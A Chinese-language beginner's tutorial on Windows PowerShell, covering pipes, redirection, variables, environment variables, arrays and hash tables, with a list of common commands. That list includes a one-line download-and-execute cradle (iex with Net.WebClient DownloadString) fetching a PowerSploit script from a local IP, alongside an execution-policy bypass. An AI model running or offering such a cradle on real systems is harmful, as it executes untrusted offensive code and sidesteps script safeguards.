windows powershell基礎 目錄: 1.管道和重定向 2.命令執行 3.變數 4.數組和哈希表 #@()創建數組,使用","把每個值分隔開,@{}創建哈希表,用";"把每個值分隔開 5.常用命令 get-help 查看幫助 get-command 查詢命令 get-member 查看對 ...
windows powershell基礎
目錄:
1.管道和重定向
2.命令執行
3.變數
4.數組和哈希表 #@()創建數組,使用","把每個值分隔開,@{}創建哈希表,用";"把每個值分隔開
5.常用命令
get-help 查看幫助
get-command 查詢命令
get-member 查看對象的成員信息
get-verb 獲取所有動詞
get-content 或者type 查看內容
$psversiontable 查看powershell版本
ls env: 查看所有環境變數
ls alias: 或者get-alias 查看所有的別名
get-executionpolicy 查看腳本執行策略
set-executionpolicy bypass 設置可以執行腳本
. ./test1.ps1 把test1.ps1載入到記憶體 註意兩個點之間有一個空格
iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1') iex遠程下載腳本執行
在字元串前面加"&",可以執行命令或者啟動程式
Powershell 是運行在windows機器上實現系統和應用程式管理自動化的命令行腳本環境。你可以把它看成是命令行提示符cmd.exe的擴充
powershell命令和參數不區分大小寫
1.1管道 #把上一條命令的輸出作為下一條命令的輸入
註:通過ls獲取當前目錄的所有文件信息,然後通過sort-object 排序,預設升序
1.2重定向 #把命令的輸出保存到文件中,‘>’為覆蓋,’>>’追加
註:查看內容可以通過type或者get-content查看
2.Powershell 查看可以執行的cmd命令(cmd /c help )
3.1變數
在powershell中變數名均是以美元符”$”開始,剩餘字元可以是數字、字母、下劃線的任意字元,並且powershell變數名大小寫不敏感($a和$A 是同一個變數)
powershell一切皆對象,變數也是對象,通過$str(變數名) | get-member 查看變數所擁有的屬性以及方法
查看正在使用的變數 ls variable:
3.2環境變數
Powershell把所有環境變數的記錄保存在env: 虛擬驅動中,因此可以列出所有環境變數 。一旦查出環境變數的名字就可以使用$env:name 訪問了。
註:通過查找所有環境變數可以得到電腦名,當前所屬域的功能變數名稱,用戶名等等
通過$env:屬性名訪問
4.1數組
1.命令返回數組 #當我們把一個命令的執行結果保存到一個變數中,可能會認為變數存放的是純文本。
但是,事實上Powershell會把文本按每一行作為元素存為數組
2.創建數組:
在Powershell中創建數組可以使用逗號,創建空數組使用@()
3.訪問、添加數組: #添加數組使用"+="
4.2哈希表
1.創建哈希表
之前使用@()創建數組,現在使用@{}創建哈希表,用";"把每個值分隔開,使用哈希表的鍵訪問對應的值
2.修改、增加、刪除哈希表
------------------------------------------------------------------------------------------------------------------
詳細請參考:powershell線上教程:https://www.pstips.net/powershell-online-tutorials